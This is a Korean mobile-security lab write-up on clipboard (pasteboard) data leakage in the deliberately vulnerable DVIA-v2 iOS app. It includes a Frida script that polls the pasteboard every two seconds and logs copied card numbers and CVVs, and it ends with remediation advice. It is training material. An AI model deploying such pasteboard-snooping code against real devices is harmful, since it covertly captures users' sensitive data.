취약점 개요

부채널 데이터 유출은 사용되는 어플리케이션의 주 기능이 아닌 타 기능을 통해 데이터가 유출되는 취약점을 말한다. 의도하지 않은 데이터 유출은 개발자가 실수로 모바일 디바이스의 다른 앱이 쉽게 액세스할 수 있는 위치에 민감한 정보나 데이터를 저장할 때 발생한다.

개발자의 코드가 사용자 또는 백엔드에서 제공한 민감한 정보를 처리할 때 이 과정에서 개발자가 알지 못하는 부작용으로 인해 해당 정보가 모바일 디바이스의 안전하지 않은 위치에 배치되어 디바이스의 다른 앱이 공개적으로 액세스할 수 있게 된다. 일반적으로 이러한 부작용은 기본 모바일 디바이스의 운영 체제(OS)에서 발생하며 공격자는 간단한 코드를 작성하여 민감한 정보가 저장된 위치에 액세스할 수 있다.

취약점 실습

  • 실습 환경 : iOS 14.6, iPhone 8

  • 좌측 상단 메뉴 > Side Channel Data Leakage > Pasteborad

ID, Card Number, CVV에 대한 입력이 있으며 Long Click을 이용하여 클립보드 저장이 가능하다.

Frida Code

function start_pasteboard_monitoring(interval_value)
{
    var pasteboard = (ObjC.classes.UIPasteboard).generalPasteboard();
    var latest_word = "";
    setInterval(function(){
        try
        {
            var on_pasteboard = pasteboard.string().toString()
            if(on_pasteboard != latest_word)
            {
                console.log("[*] Found on pasteboard: "+ on_pasteboard);
                latest_word = on_pasteboard;
            }
        }
        catch(err)
        {
            a = "";
        }
    }, interval_value);

}
//start_pasteboard_monitoring(INTERVAL_VALUE_HERE_MILLISECONDS)
start_pasteboard_monitoring(2000)

해당 코드를 실행하기 위해서는 frida 옵션을 -f {package_name}이 아닌 실행 중인 프로세스를 확인하여 -p 옵션으로 process id를 인자로 줘야 앱이 죽지 않고 클립보드 모니터링이 가능하다.

# frida-ps -Ua

  PID  Name             Identifier
-----  ---------------  --------------------------------------------
14949  App Store        com.apple.AppStore
22414  DVIA-v2          com.highaltitudehacks.DVIAswiftv2.BP466HT2UY
14947  Drive            com.google.Drive

클립보드에 저장된 내용을 2초마다 출력하여 위 처럼 저장된 클립보드에 내용을 가져오는 것을 알 수 있다.

대응 방안

  • 클립보드에 존재한 데이터를 제한 시간만 유지하게 하여 일정 시간 지나면 삭제되도록 한다.

  • 중요 정보에 대한 내용을 복사할 수 없도록 조치 한다.